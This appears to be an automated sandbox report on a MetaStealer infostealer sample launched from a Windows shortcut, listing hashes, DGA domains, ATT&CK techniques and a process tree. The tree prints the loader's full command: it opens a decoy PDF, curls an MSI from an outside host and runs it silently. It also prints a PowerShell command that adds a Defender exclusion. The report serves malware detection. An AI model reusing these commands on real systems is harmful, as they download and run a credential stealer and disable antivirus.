metastealer | 68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50

Analysis

max time kernel
146s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
03-02-2025 03:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50.lnk
Size

3KB
MD5

d3689eceb2951bd5a9a62c1aa259b7b9
SHA1

6f9eb37cf0afacbc8211412aedc81c460c6fa4cf
SHA256

68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50
SHA512

253130444a06cb9a23577001044c13e4c6fb32d1c5a92e8875b5ff50be009b07f61ce1226c0d1b21fc603e44270e3422990fcb814afd6cdb7422139697f61752

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/5192-168-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1948	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
5192	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
2416	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4692	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC8AF.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File created	C:\Windows\Installer\e57c786.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57c786.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{23A0140B-983C-4F7D-A24D-E9DB2FCECA48}	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3440	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2032	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3304	msedge.exe
3304	msedge.exe
1400	msedge.exe
1400	msedge.exe
4308	msiexec.exe
4308	msiexec.exe
4496	identity_helper.exe
4496	identity_helper.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
5192	setup.exe
5192	setup.exe
4716	msedge.exe
4716	msedge.exe
4716	msedge.exe
4716	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	taskkill.exe
Token: SeShutdownPrivilege	4344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4344	msiexec.exe
Token: SeSecurityPrivilege	4308	msiexec.exe
Token: SeCreateTokenPrivilege	4344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4344	msiexec.exe
Token: SeLockMemoryPrivilege	4344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4344	msiexec.exe
Token: SeMachineAccountPrivilege	4344	msiexec.exe
Token: SeTcbPrivilege	4344	msiexec.exe
Token: SeSecurityPrivilege	4344	msiexec.exe
Token: SeTakeOwnershipPrivilege	4344	msiexec.exe
Token: SeLoadDriverPrivilege	4344	msiexec.exe
Token: SeSystemProfilePrivilege	4344	msiexec.exe
Token: SeSystemtimePrivilege	4344	msiexec.exe
Token: SeProfSingleProcessPrivilege	4344	msiexec.exe
Token: SeIncBasePriorityPrivilege	4344	msiexec.exe
Token: SeCreatePagefilePrivilege	4344	msiexec.exe
Token: SeCreatePermanentPrivilege	4344	msiexec.exe
Token: SeBackupPrivilege	4344	msiexec.exe
Token: SeRestorePrivilege	4344	msiexec.exe
Token: SeShutdownPrivilege	4344	msiexec.exe
Token: SeDebugPrivilege	4344	msiexec.exe
Token: SeAuditPrivilege	4344	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4344	msiexec.exe
Token: SeChangeNotifyPrivilege	4344	msiexec.exe
Token: SeRemoteShutdownPrivilege	4344	msiexec.exe
Token: SeUndockPrivilege	4344	msiexec.exe
Token: SeSyncAgentPrivilege	4344	msiexec.exe
Token: SeEnableDelegationPrivilege	4344	msiexec.exe
Token: SeManageVolumePrivilege	4344	msiexec.exe
Token: SeImpersonatePrivilege	4344	msiexec.exe
Token: SeCreateGlobalPrivilege	4344	msiexec.exe
Token: SeRestorePrivilege	4308	msiexec.exe
Token: SeTakeOwnershipPrivilege	4308	msiexec.exe
Token: SeRestorePrivilege	4308	msiexec.exe
Token: SeTakeOwnershipPrivilege	4308	msiexec.exe
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe
1400	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4772	4628	cmd.exe	84
PID 4628 wrote to memory of 4772	4628	cmd.exe	84
PID 4772 wrote to memory of 1400	4772	cmd.exe	86
PID 4772 wrote to memory of 1400	4772	cmd.exe	86
PID 4772 wrote to memory of 4692	4772	cmd.exe	88
PID 4772 wrote to memory of 4692	4772	cmd.exe	88
PID 1400 wrote to memory of 1684	1400	msedge.exe	89
PID 1400 wrote to memory of 1684	1400	msedge.exe	89
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 852	1400	msedge.exe	91
PID 1400 wrote to memory of 3304	1400	msedge.exe	92
PID 1400 wrote to memory of 3304	1400	msedge.exe	92
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93
PID 1400 wrote to memory of 1100	1400	msedge.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://www.wto.org/english/docs_e/legal_e/27-trips.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi & C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.wto.org/english/docs_e/legal_e/27-trips.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xd4,0x128,0x7ffba21346f8,0x7ffba2134708,0x7ffba2134718
      4⤵
      PID:1684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
      4⤵
      PID:852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2716 /prefetch:8
      4⤵
      PID:1100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
      4⤵
      PID:2084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
      4⤵
      PID:2784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4728 /prefetch:1
      4⤵
      PID:3916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5228 /prefetch:6
      4⤵
      PID:4296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
      4⤵
      PID:4784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4768 /prefetch:1
      4⤵
      PID:2660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
      4⤵
      PID:1500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:1
      4⤵
      PID:2752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
      4⤵
      PID:2988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,15795268429596839143,17429777343089127004,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3792 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4716
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi
    3⤵
    PID:4692
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4344
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2032

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4540

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4504

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4308
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E97C7B0B2C1474E3035963A23976C802
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2416
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4692
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3384
- - C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5192
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:3440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
65a84cd7925378cc74972cc4e677ecef

SHA1
30b4da4c5dbd0cc77d756d270ad260ef74987ccf

SHA256
7be0a4cebd74cb4d879e3f9950f5ac5a05acc3bdc415bbf9d3dd691cccee2cb5

SHA512
ef142224cc0b94a1c5585836988a0d544e7e8b5e8573a1893c9fac528a1ccbbab6c9c7acaad7cfec1a415544bbdcdfd1d0c5e0a0819cb94107fd81989df18704

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
06a70b8e8d5917890577ee058f892392

SHA1
e001ab5beef99145862d78b04d10ae7840fcce01

SHA256
794876b8fad2353eb27061ada12187a59e3d1ad59d97ffe791ae138b2b9397a0

SHA512
6c31223bc433a921fac950720b711f0d60f28199afeb46b6cc727d384ebe93d1ed9911c4024a69de1ac99cb78fc02c99b701ee940a28a301b0255edf547065ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
179B

MD5
43e85c57380b40f5090d2828cfe1c704

SHA1
a4ee2e209d23bdcd7e79031d26edf0ce26e562d2

SHA256
48b147000e36a44e92f938979d5f595ded7f2004cd00c3e8e25fb02550fa5b88

SHA512
998d8b181e548817c98713d871a1fbe8802ce82e3666d19eb1b00850c69567adbb68be81c6d0ad37ccd07050476b55259ca2037616e6be9415176386192608c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
294892a787af42a0660c1d6e47be6dbc

SHA1
cd3f40b48c155f785f5a45c12ac5b7cd966c4342

SHA256
0ea9542f0b71129db64fe309ef9e7e4012a5cbafde25ebd9bc7ee4f8ae7d9259

SHA512
2b9181cb84e7af51efa11a6dfb1d43f8c93c2a231ce8a95058cb2edecbf81c20c2029edde5e69a1443459085c260c7e8aef691046693692e23a0b18f1c9eb130

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
1b875940ee18cde0ac4d70d3a014df60

SHA1
c37057161ad749beab7683f3ed3a4aaab6d0b411

SHA256
962777668b31d3f8f3f5002d7bafe309191fbea7d0828ca4351794b34846152f

SHA512
aef9f79eb9e70052fd7ee0fc684b01cfe567a2d174f305ce00c7e37b3bf5d5c62720627ac0fcbf30f239f09e337e6ac50cb76bfb0477b7483da6b9de2a4ad77c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
